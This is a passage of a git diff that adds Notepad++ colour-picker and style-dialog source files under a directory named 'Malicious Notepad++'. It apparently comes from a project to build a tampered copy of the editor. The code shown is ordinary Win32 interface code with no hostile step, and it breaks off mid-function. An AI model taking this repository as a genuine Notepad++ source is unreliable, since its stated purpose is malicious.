cr; + HBRUSH hbrush; + + DRAWITEMSTRUCT *pdis = (DRAWITEMSTRUCT *)lParam; + hdc = pdis->hDC; + RECT rc = pdis->rcItem; + + // Transparent. + SetBkMode(hdc,TRANSPARENT); + + // NULL object + if (pdis->itemID == UINT(-1)) return 0; + + switch (pdis->itemAction) + { + case ODA_DRAWENTIRE: + switch (pdis->CtlID) + { + case IDC_COLOUR_LIST: + rc = pdis->rcItem; + cr = (COLORREF) pdis->itemData; + InflateRect(&rc, -3, -3); + hbrush = CreateSolidBrush((COLORREF)cr); + FillRect(hdc, &rc, hbrush); + DeleteObject(hbrush); + FrameRect(hdc, &rc, (HBRUSH) GetStockObject(GRAY_BRUSH)); + break; + } + // *** FALL THROUGH *** + case ODA_SELECT: + rc = pdis->rcItem; + if (pdis->itemState & ODS_SELECTED) + { + rc.bottom --; + rc.right --; + // Draw the lighted side. + HPEN hpen = CreatePen(PS_SOLID, 1, GetSysColor(COLOR_BTNSHADOW)); + HPEN holdPen = (HPEN)SelectObject(hdc, hpen); + MoveToEx(hdc, rc.left, rc.bottom, NULL); + LineTo(hdc, rc.left, rc.top); + LineTo(hdc, rc.right, rc.top); + SelectObject(hdc, holdPen); + DeleteObject(hpen); + // Draw the darkened side. + hpen = CreatePen(PS_SOLID, 1, GetSysColor(COLOR_BTNHIGHLIGHT)); + holdPen = (HPEN)SelectObject(hdc, hpen); + LineTo(hdc, rc.right, rc.bottom); + LineTo(hdc, rc.left, rc.bottom); + SelectObject(hdc, holdPen); + DeleteObject(hpen); + } + else + { + hbrush = CreateSolidBrush(GetSysColor(COLOR_3DFACE)); + FrameRect(hdc, &rc, hbrush); + DeleteObject(hbrush); + } + break; + case ODA_FOCUS: + rc = pdis->rcItem; + InflateRect(&rc, -2, -2); + DrawFocusRect(hdc, &rc); + break; + default: + break; + } + return TRUE; + } + + case WM_COMMAND: + switch (LOWORD(wParam)) + { + case IDOK : + { + //isColourChooserLaunched = true; + CHOOSECOLOR cc; // common dialog box structure + static COLORREF acrCustClr[16] = { + RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),\ + RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),\ + RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),\ + RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),RGB(0xFF,0xFF,0xFF),\ + }; // array of custom colors + + // Initialize CHOOSECOLOR + ::ZeroMemory(&cc, sizeof(cc)); + cc.lStructSize = sizeof(cc); + cc.hwndOwner = _hParent; + + cc.lpCustColors = (LPDWORD) acrCustClr; + cc.rgbResult = _colour; + cc.Flags = CC_FULLOPEN | CC_RGBINIT; + + display(false); + + if (ChooseColor(&cc)==TRUE) + { + ::SendMessage(_hParent, WM_PICKUP_COLOR, cc.rgbResult, 0); + } + else + { + ::SendMessage(_hParent, WM_PICKUP_CANCEL, 0, 0); + } + + return TRUE; + } + + case IDC_COLOUR_LIST : + { + if (HIWORD(wParam) == LBN_SELCHANGE) + { + auto i = ::SendMessage(reinterpret_cast(lParam), LB_GETCURSEL, 0L, 0L); + _colour = static_cast(::SendMessage(reinterpret_cast(lParam), LB_GETITEMDATA, i, 0L)); + + ::SendMessage(_hParent, WM_PICKUP_COLOR, _colour, 0); + return TRUE; + } + } + + default : + return FALSE; + } + + case WM_ACTIVATE : + { + if (LOWORD(wParam) == WA_INACTIVE) + ::SendMessage(_hParent, WM_PICKUP_CANCEL, 0, 0); + return TRUE; + } + + } + return FALSE; +} + + + diff --git a/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.h b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.h new file mode 100644 index 0000000..c62800b --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.h @@ -0,0 +1,78 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once +#include "ColourPopupResource.h" +#include "resource.h" +#include "Window.h" + +#define WM_PICKUP_COLOR (COLOURPOPUP_USER + 1) +#define WM_PICKUP_CANCEL (COLOURPOPUP_USER + 2) + + +class ColourPopup : public Window +{ +public : + ColourPopup() = default; + explicit ColourPopup(COLORREF defaultColor) : _colour(defaultColor) {} + virtual ~ColourPopup() {} + + bool isCreated() const + { + return (_hSelf != NULL); + } + + void create(int dialogID); + + void doDialog(POINT p) + { + if (!isCreated()) + create(IDD_COLOUR_POPUP); + ::SetWindowPos(_hSelf, HWND_TOP, p.x, p.y, _rc.right - _rc.left, _rc.bottom - _rc.top, SWP_SHOWWINDOW); + } + + virtual void destroy() + { + ::DestroyWindow(_hSelf); + } + + void setColour(COLORREF c) + { + _colour = c; + } + + COLORREF getSelColour(){return _colour;}; + +private : + RECT _rc; + COLORREF _colour; + //bool isColourChooserLaunched = false; + + static INT_PTR CALLBACK dlgProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam); + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; diff --git a/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.rc b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.rc new file mode 100644 index 0000000..dafff79 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopup.rc @@ -0,0 +1,40 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "ColourPopupResource.h" + +IDD_COLOUR_POPUP DIALOGEX 0, 0, 132, 113 +STYLE DS_SETFONT | WS_POPUP | DS_MODALFRAME +FONT 8, TEXT("MS Shell Dlg"), 0, 0, 0x0 +BEGIN + LISTBOX IDC_COLOUR_LIST,7,7,117,79, + LBS_OWNERDRAWFIXED | LBS_NOINTEGRALHEIGHT | + LBS_MULTICOLUMN | NOT WS_BORDER | WS_TABSTOP + DEFPUSHBUTTON "More Colours...",IDOK,39,92,55,14 +END diff --git a/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopupResource.h b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopupResource.h new file mode 100644 index 0000000..683fce2 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ColourPicker/ColourPopupResource.h @@ -0,0 +1,30 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#pragma once + +#define IDD_COLOUR_POPUP 2100 +#define IDC_COLOUR_LIST (IDD_COLOUR_POPUP + 1) diff --git a/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.cpp b/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.cpp new file mode 100644 index 0000000..5223363 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.cpp @@ -0,0 +1,866 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include +#include +#include "WordStyleDlg.h" +#include "ScintillaEditView.h" + +using namespace std; + +LRESULT CALLBACK ColourStaticTextHooker::colourStaticProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch(Message) + { + case WM_PAINT: + { + RECT rect; + ::GetClientRect(hwnd, &rect); + + PAINTSTRUCT ps; + HDC hdc = ::BeginPaint(hwnd, &ps); + + ::SetTextColor(hdc, _colour); + + // Get the default GUI font + HFONT hf = (HFONT)::GetStockObject(DEFAULT_GUI_FONT); + + HANDLE hOld = SelectObject(hdc, hf); + + // Draw the text! + TCHAR text[MAX_PATH]; + ::GetWindowText(hwnd, text, MAX_PATH); + ::DrawText(hdc, text, -1, &rect, DT_LEFT); + + ::SelectObject(hdc, hOld); + + ::EndPaint(hwnd, &ps); + + return TRUE; + } + } + return ::CallWindowProc(_oldProc, hwnd, Message, wParam, lParam); +} +void WordStyleDlg::updateGlobalOverrideCtrls() +{ + const NppGUI & nppGUI = (NppParameters::getInstance())->getNppGUI(); + ::SendDlgItemMessage(_hSelf, IDC_GLOBAL_FG_CHECK, BM_SETCHECK, nppGUI._globalOverride.enableFg, 0); + ::SendDlgItemMessage(_hSelf, IDC_GLOBAL_BG_CHECK, BM_SETCHECK, nppGUI._globalOverride.enableBg, 0); + ::SendDlgItemMessage(_hSelf, IDC_GLOBAL_FONT_CHECK, BM_SETCHECK, nppGUI._globalOverride.enableFont, 0); + ::SendDlgItemMessage(_hSelf, IDC_GLOBAL_FONTSIZE_CHECK, BM_SETCHECK, nppGUI._globalOverride.enableFontSize, 0); + ::SendDlgItemMessage(_hSelf, IDC_GLOBAL_BOLD_CHECK, BM_SETCHECK, nppGUI._globalOverride.enableBold, 0); + ::SendDlgItemMessage(_hSelf, IDC_GLOBAL_ITALIC_CHECK, BM_SETCHECK, nppGUI._globalOverride.enableItalic, 0); + ::SendDlgItemMessage(_hSelf, IDC_GLOBAL_UNDERLINE_CHECK, BM_SETCHECK, nppGUI._globalOverride.enableUnderLine, 0); +} + +INT_PTR CALLBACK WordStyleDlg::run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + case WM_INITDIALOG : + { + NppParameters *nppParamInst = NppParameters::getInstance(); + + _hCheckBold = ::GetDlgItem(_hSelf, IDC_BOLD_CHECK); + _hCheckItalic = ::GetDlgItem(_hSelf, IDC_ITALIC_CHECK); + _hCheckUnderline = ::GetDlgItem(_hSelf, IDC_UNDERLINE_CHECK); + _hFontNameCombo = ::GetDlgItem(_hSelf, IDC_FONT_COMBO); + _hFontSizeCombo = ::GetDlgItem(_hSelf, IDC_FONTSIZE_COMBO); + _hSwitch2ThemeCombo = ::GetDlgItem(_hSelf, IDC_SWITCH2THEME_COMBO); + + _hFgColourStaticText = ::GetDlgItem(_hSelf, IDC_FG_STATIC); + _hBgColourStaticText = ::GetDlgItem(_hSelf, IDC_BG_STATIC); + _hFontNameStaticText = ::GetDlgItem(_hSelf, IDC_FONTNAME_STATIC); + _hFontSizeStaticText = ::GetDlgItem(_hSelf, IDC_FONTSIZE_STATIC); + _hStyleInfoStaticText = ::GetDlgItem(_hSelf, IDC_STYLEDESCRIPTION_STATIC); + + colourHooker.setColour(RGB(0xFF, 0x00, 0x00)); + colourHooker.hookOn(_hStyleInfoStaticText); + + _currentThemeIndex = -1; + int defaultThemeIndex = 0; + ThemeSwitcher & themeSwitcher = nppParamInst->getThemeSwitcher(); + for(size_t i = 0 ; i < themeSwitcher.size() ; ++i) + { + pair & themeInfo = themeSwitcher.getElementFromIndex(i); + int j = static_cast(::SendMessage(_hSwitch2ThemeCombo, CB_ADDSTRING, 0, reinterpret_cast(themeInfo.first.c_str()))); + if (! themeInfo.second.compare( nppParamInst->getNppGUI()._themeName ) ) + { + _currentThemeIndex = j; + _themeName.assign(themeInfo.second); + } + if (! themeInfo.first.compare(TEXT("Default")) ) + { + defaultThemeIndex = j; + } + } + if (_currentThemeIndex == -1) + { + _currentThemeIndex = defaultThemeIndex; + } + ::SendMessage(_hSwitch2ThemeCombo, CB_SETCURSEL, _currentThemeIndex, 0); + + for(int i = 0 ; i < sizeof(fontSizeStrs)/(3*sizeof(TCHAR)) ; ++i) + ::SendMessage(_hFontSizeCombo, CB_ADDSTRING, 0, reinterpret_cast(fontSizeStrs[i])); + + const std::vector & fontlist = (NppParameters::getInstance())->getFontList(); + for (size_t i = 0, len = fontlist.size() ; i < len ; ++i) + { + auto j = ::SendMessage(_hFontNameCombo, CB_ADDSTRING, 0, reinterpret_cast(fontlist[i].c_str())); + ::SendMessage(_hFontNameCombo, CB_SETITEMDATA, j, reinterpret_cast(fontlist[i].c_str())); + } + + _pFgColour = new ColourPicker; + _pBgColour = new ColourPicker; + _pFgColour->init(_hInst, _hSelf); + _pBgColour->init(_hInst, _hSelf); + + POINT p1, p2; + alignWith(_hFgColourStaticText, _pFgColour->getHSelf(), PosAlign::right, p1); + alignWith(_hBgColourStaticText, _pBgColour->getHSelf(), PosAlign::right, p2); + + p1.x = p2.x = ((p1.x > p2.x)?p1.x:p2.x) + 10; + p1.y -= 4; p2.y -= 4; + + ::MoveWindow(reinterpret_cast(_pFgColour->getHSelf()), p1.x, p1.y, 25, 25, TRUE); + ::MoveWindow(reinterpret_cast(_pBgColour->getHSelf()), p2.x, p2.y, 25, 25, TRUE); + _pFgColour->display(); + _pBgColour->display(); + + + ::EnableWindow(::GetDlgItem(_hSelf, IDOK), _isDirty); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SAVECLOSE_BUTTON), FALSE/*!_isSync*/); + + ETDTProc enableDlgTheme = (ETDTProc)nppParamInst->getEnableThemeDlgTexture(); + if (enableDlgTheme) + { + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + redraw(); + } + + updateGlobalOverrideCtrls(); + setVisualFromStyleList(); + goToCenter(); + + loadLangListFromNppParam(); + return TRUE; + } + + case WM_DESTROY: + { + _pFgColour->destroy(); + _pBgColour->destroy(); + delete _pFgColour; + delete _pBgColour; + return TRUE; + } + + case WM_HSCROLL : + { + if (reinterpret_cast(lParam) == ::GetDlgItem(_hSelf, IDC_SC_PERCENTAGE_SLIDER)) + { + int percent = static_cast(::SendDlgItemMessage(_hSelf, IDC_SC_PERCENTAGE_SLIDER, TBM_GETPOS, 0, 0)); + (NppParameters::getInstance())->SetTransparent(_hSelf, percent); + } + return TRUE; + } + + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + int editID = LOWORD(wParam); + if (editID == IDC_USER_KEYWORDS_EDIT) + { + updateUserKeywords(); + notifyDataModified(); + apply(); + } + else if (editID == IDC_USER_EXT_EDIT) + { + updateExtension(); + notifyDataModified(); + apply(); + } + } + else + { + switch (wParam) + { + case IDC_BOLD_CHECK : + updateFontStyleStatus(BOLD_STATUS); + notifyDataModified(); + apply(); + break; + + case IDC_ITALIC_CHECK : + updateFontStyleStatus(ITALIC_STATUS); + notifyDataModified(); + apply(); + break; + + case IDC_UNDERLINE_CHECK : + updateFontStyleStatus(UNDERLINE_STATUS); + notifyDataModified(); + apply(); + break; + + case IDCANCEL : + if (_isDirty) + { + NppParameters *nppParamInst = NppParameters::getInstance(); + if (_restoreInvalid) + { + generic_string str( nppParamInst->getNppGUI()._themeName ); + nppParamInst->reloadStylers( &str[0] ); + } + + LexerStylerArray & lsArray = nppParamInst->getLStylerArray(); + StyleArray & globalStyles = nppParamInst->getGlobalStylers(); + + if (_restoreInvalid) + { + _lsArray = _styles2restored = lsArray; + _globalStyles = _gstyles2restored = globalStyles; + } + else + { + globalStyles = _globalStyles = _gstyles2restored; + lsArray = _lsArray = _styles2restored; + } + + restoreGlobalOverrideValues(); + + _restoreInvalid = false; + _isDirty = false; + _isThemeDirty = false; + setVisualFromStyleList(); + + + //(nppParamInst->getNppGUI())._themeName + ::SendMessage(_hSwitch2ThemeCombo, CB_SETCURSEL, _currentThemeIndex, 0); + ::SendMessage(_hParent, WM_UPDATESCINTILLAS, 0, 0); + } + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SAVECLOSE_BUTTON), FALSE/*!_isSync*/); + display(false); + return TRUE; + + case IDC_SAVECLOSE_BUTTON : + { + if (_isDirty) + { + LexerStylerArray & lsa = (NppParameters::getInstance())->getLStylerArray(); + StyleArray & globalStyles = (NppParameters::getInstance())->getGlobalStylers(); + + _lsArray = lsa; + _globalStyles = globalStyles; + updateThemeName(_themeName); + _restoreInvalid = false; + + _currentThemeIndex = static_cast(::SendMessage(_hSwitch2ThemeCombo, CB_GETCURSEL, 0, 0)); + ::EnableWindow(::GetDlgItem(_hSelf, IDOK), FALSE); + _isDirty = false; + } + _isThemeDirty = false; + (NppParameters::getInstance())->writeStyles(_lsArray, _globalStyles); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SAVECLOSE_BUTTON), FALSE); + //_isSync = true; + display(false); + ::SendMessage(_hParent, WM_UPDATESCINTILLAS, 0, 0); + return TRUE; + } + + case IDC_SC_TRANSPARENT_CHECK : + { + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_SC_TRANSPARENT_CHECK, BM_GETCHECK, 0, 0)); + if (isChecked) + { + int percent = static_cast(::SendDlgItemMessage(_hSelf, IDC_SC_PERCENTAGE_SLIDER, TBM_GETPOS, 0, 0)); + (NppParameters::getInstance())->SetTransparent(_hSelf, percent); + } + else + (NppParameters::getInstance())->removeTransparent(_hSelf); + + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SC_PERCENTAGE_SLIDER), isChecked); + return TRUE; + } + + case IDC_GLOBAL_FG_CHECK : + { + GlobalOverride & glo = (NppParameters::getInstance())->getGlobalOverrideStyle(); + glo.enableFg = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0)); + notifyDataModified(); + apply(); + return TRUE; + } + + case IDC_GLOBAL_BG_CHECK: + { + GlobalOverride & glo = (NppParameters::getInstance())->getGlobalOverrideStyle(); + glo.enableBg = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0)); + notifyDataModified(); + apply(); + return TRUE; + } + + case IDC_GLOBAL_FONT_CHECK : + { + GlobalOverride & glo = (NppParameters::getInstance())->getGlobalOverrideStyle(); + glo.enableFont = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0)); + notifyDataModified(); + apply(); + return TRUE; + } + case IDC_GLOBAL_FONTSIZE_CHECK : + { + GlobalOverride & glo = (NppParameters::getInstance())->getGlobalOverrideStyle(); + glo.enableFontSize = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0)); + notifyDataModified(); + apply(); + return TRUE; + } + case IDC_GLOBAL_BOLD_CHECK : + { + GlobalOverride & glo = (NppParameters::getInstance())->getGlobalOverrideStyle(); + glo.enableBold = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0)); + notifyDataModified(); + apply(); + return TRUE; + } + + case IDC_GLOBAL_ITALIC_CHECK : + { + GlobalOverride & glo = (NppParameters::getInstance())->getGlobalOverrideStyle(); + glo.enableItalic = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0)); + notifyDataModified(); + apply(); + return TRUE; + } + case IDC_GLOBAL_UNDERLINE_CHECK : + { + GlobalOverride & glo = (NppParameters::getInstance())->getGlobalOverrideStyle(); + glo.enableUnderLine = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0)); + notifyDataModified(); + apply(); + return TRUE; + } + + default: + switch (HIWORD(wParam)) + { + case CBN_SELCHANGE : // == case LBN_SELCHANGE : + { + switch (LOWORD(wParam)) + { + case IDC_FONT_COMBO : + updateFontName(); + notifyDataModified(); + apply(); + break; + case IDC_FONTSIZE_COMBO : + updateFontSize(); + notifyDataModified(); + apply(); + break; + case IDC_LANGUAGES_LIST : + { + int i = static_cast(::SendDlgItemMessage(_hSelf, LOWORD(wParam), LB_GETCURSEL, 0, 0)); + if (i != LB_ERR) + { + bool prevThemeState = _isThemeDirty; + setStyleListFromLexer(i); + _isThemeDirty = prevThemeState; + } + break; + } + case IDC_STYLES_LIST : + setVisualFromStyleList(); + break; + + case IDC_SWITCH2THEME_COMBO : + switchToTheme(); + setVisualFromStyleList(); + notifyDataModified(); + _isThemeDirty = false; + apply(); + break; + } + return TRUE; + } + + case CPN_COLOURPICKED: + { + if (reinterpret_cast(lParam) == _pFgColour->getHSelf()) + { + updateColour(C_FOREGROUND); + notifyDataModified(); + int tabColourIndex; + if ((tabColourIndex = whichTabColourIndex()) != -1) + { + TabBarPlus::setColour(_pFgColour->getColour(), (TabBarPlus::tabColourIndex)tabColourIndex); + } + apply(); + return TRUE; + } + else if (reinterpret_cast(lParam) == _pBgColour->getHSelf()) + { + updateColour(C_BACKGROUND); + notifyDataModified(); + int tabColourIndex; + if ((tabColourIndex = whichTabColourIndex()) != -1) + { + tabColourIndex = (tabColourIndex == TabBarPlus::inactiveText ? TabBarPlus::inactiveBg : tabColourIndex); + TabBarPlus::setColour(_pBgColour->getColour(), (TabBarPlus::tabColourIndex)tabColourIndex); + } + apply(); + return TRUE; + } + else + return FALSE; + } + + default : + { + return FALSE; + } + } + //return TRUE; + } + } + + } + default : + return FALSE; + } + //return FALSE; +} + +void WordStyleDlg::loadLangListFromNppParam() +{ + NppParameters *nppParamInst = NppParameters::getInstance(); + _lsArray = nppParamInst->getLStylerArray(); + _globalStyles = nppParamInst->getGlobalStylers(); + + // Clean up Language List + ::SendDlgItemMessage(_hSelf, IDC_LANGUAGES_LIST, LB_RESETCONTENT, 0, 0); + + ::SendDlgItemMessage(_hSelf, IDC_LANGUAGES_LIST, LB_ADDSTRING, 0, reinterpret_cast(TEXT("Global Styles"))); + // All the lexers + for (int i = 0, nb = _lsArray.getNbLexer() ; i < nb ; ++i) + { + ::SendDlgItemMessage(_hSelf, IDC_LANGUAGES_LIST, LB_ADDSTRING, 0, reinterpret_cast(_lsArray.getLexerDescFromIndex(i))); + } + + const int index2Begin = 0; + ::SendDlgItemMessage(_hSelf, IDC_LANGUAGES_LIST, LB_SETCURSEL, 0, index2Begin); + setStyleListFromLexer(index2Begin); +} + +void WordStyleDlg::updateThemeName(generic_string themeName) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = (NppGUI & )pNppParam->getNppGUI(); + nppGUI._themeName.assign( themeName ); +} + +int WordStyleDlg::whichTabColourIndex() +{ + auto i = ::SendDlgItemMessage(_hSelf, IDC_STYLES_LIST, LB_GETCURSEL, 0, 0); + if (i == LB_ERR) + return -1; + TCHAR styleName[128]; + ::SendDlgItemMessage(_hSelf, IDC_STYLES_LIST, LB_GETTEXT, i, reinterpret_cast(styleName)); + + if (lstrcmp(styleName, TABBAR_ACTIVEFOCUSEDINDCATOR) == 0) + return TabBarPlus::activeFocusedTop; + + if (lstrcmp(styleName, TABBAR_ACTIVEUNFOCUSEDINDCATOR) == 0) + return TabBarPlus::activeUnfocusedTop; + + if (lstrcmp(styleName, TABBAR_ACTIVETEXT) == 0) + return TabBarPlus::activeText; + + if (lstrcmp(styleName, TABBAR_INACTIVETEXT) == 0) + return TabBarPlus::inactiveText; + + return -1; +} + +void WordStyleDlg::updateColour(bool which) +{ + Style & style = getCurrentStyler(); + if (which == C_FOREGROUND) + { + style._fgColor = _pFgColour->getColour(); + if (_pFgColour->isEnabled()) + style._colorStyle |= COLORSTYLE_FOREGROUND; + else + style._colorStyle &= ~COLORSTYLE_FOREGROUND; + } + else //(which == C_BACKGROUND) + { + style._bgColor = _pBgColour->getColour(); + if (_pBgColour->isEnabled()) + style._colorStyle |= COLORSTYLE_BACKGROUND; + else + style._colorStyle &= ~COLORSTYLE_BACKGROUND; + } +} + +void WordStyleDlg::updateFontSize() +{ + Style & style = getCurrentStyler(); + auto iFontSizeSel = ::SendMessage(_hFontSizeCombo, CB_GETCURSEL, 0, 0); + + TCHAR intStr[5]; + if (iFontSizeSel != 0) + { + ::SendMessage(_hFontSizeCombo, CB_GETLBTEXT, iFontSizeSel, reinterpret_cast(intStr)); + if (!intStr[0]) + style._fontSize = STYLE_NOT_USED; + else + { + TCHAR *finStr; + style._fontSize = generic_strtol(intStr, &finStr, 10); + if (*finStr != '\0') + style._fontSize = STYLE_NOT_USED; + } + } + else + style._fontSize = 0; +} + +void WordStyleDlg::updateExtension() +{ + const int NB_MAX = 256; + TCHAR ext[NB_MAX]; + ::SendDlgItemMessage(_hSelf, IDC_USER_EXT_EDIT, WM_GETTEXT, NB_MAX, reinterpret_cast(ext)); + _lsArray.getLexerFromIndex(_currentLexerIndex - 1).setLexerUserExt(ext); +} + +void WordStyleDlg::updateUserKeywords() +{ + Style & style = getCurrentStyler(); + //const int NB_MAX = 2048; + //TCHAR kw[NB_MAX]; + auto len = ::SendDlgItemMessage(_hSelf, IDC_USER_KEYWORDS_EDIT, WM_GETTEXTLENGTH, 0, 0); + len += 1; + TCHAR *kw = new TCHAR[len]; + ::SendDlgItemMessage(_hSelf, IDC_USER_KEYWORDS_EDIT, WM_GETTEXT, len, reinterpret_cast(kw)); + style.setKeywords(kw); + + delete [] kw; +} + +void WordStyleDlg::updateFontName() +{ + Style & style = getCurrentStyler(); + auto iFontSel = ::SendMessage(_hFontNameCombo, CB_GETCURSEL, 0, 0); + TCHAR *fnStr = (TCHAR *)::SendMessage(_hFontNameCombo, CB_GETITEMDATA, iFontSel, 0); + style._fontName = fnStr; +} + +void WordStyleDlg::updateFontStyleStatus(fontStyleType whitchStyle) +{ + Style & style = getCurrentStyler(); + if (style._fontStyle == STYLE_NOT_USED) + style._fontStyle = FONTSTYLE_NONE; + + int fontStyle = FONTSTYLE_UNDERLINE; + HWND hWnd = _hCheckUnderline; + + if (whitchStyle == BOLD_STATUS) + { + fontStyle = FONTSTYLE_BOLD; + hWnd = _hCheckBold; + } + if (whitchStyle == ITALIC_STATUS) + { + fontStyle = FONTSTYLE_ITALIC; + hWnd = _hCheckItalic; + } + + auto isChecked = ::SendMessage(hWnd, BM_GETCHECK, 0, 0); + if (isChecked != BST_INDETERMINATE) + { + if (isChecked == BST_CHECKED) + style._fontStyle |= fontStyle; + else + style._fontStyle &= ~fontStyle; + } +} + +void WordStyleDlg::switchToTheme() +{ + auto iSel = ::SendMessage(_hSwitch2ThemeCombo, CB_GETCURSEL, 0, 0); + + generic_string prevThemeName(_themeName); + _themeName.clear(); + + NppParameters *nppParamInst = NppParameters::getInstance(); + ThemeSwitcher & themeSwitcher = nppParamInst->getThemeSwitcher(); + pair & themeInfo = themeSwitcher.getElementFromIndex(iSel); + _themeName = themeInfo.second; + + if (_isThemeDirty) + { + TCHAR themeFileName[MAX_PATH]; + lstrcpy(themeFileName, prevThemeName.c_str()); + PathStripPath(themeFileName); + PathRemoveExtension(themeFileName); + int mb_response = + ::MessageBox( _hSelf, + TEXT(" Unsaved changes are about to be discarded!\n") + TEXT(" Do you want to save your changes before switching themes?"), + themeFileName, + MB_ICONWARNING | MB_YESNO | MB_APPLMODAL | MB_SETFOREGROUND ); + if ( mb_response == IDYES ) + 